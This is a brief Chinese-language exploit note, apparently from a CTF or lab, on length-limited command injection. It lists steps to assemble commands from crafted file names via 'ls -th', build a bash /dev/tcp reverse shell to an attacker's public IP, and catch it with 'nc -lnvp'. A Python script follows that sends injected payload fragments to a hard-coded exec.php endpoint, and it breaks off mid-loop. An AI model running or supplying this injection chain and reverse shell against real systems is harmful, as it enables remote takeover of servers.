主要思路
1.寻找可以写入的目录
2.通过 > 构造文件名,在通过 ls -th>g 将命令写入文件
3.通过bash -i >& /dev/tcp/你的公网ip/监听的端口 0>&1构造反弹shell
4.在服务器使用 "nc -lnvp 相应端口"
python脚本如下
# -*- coding: utf8 -*-
import requests
import time
url='http://120.78.66.77:87/exec.php'
tmp='1.1.1.1;cd /t*;'
#生成ls -th >g
data1=[
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
'>rev',
'*v>x',
'cat x']
for i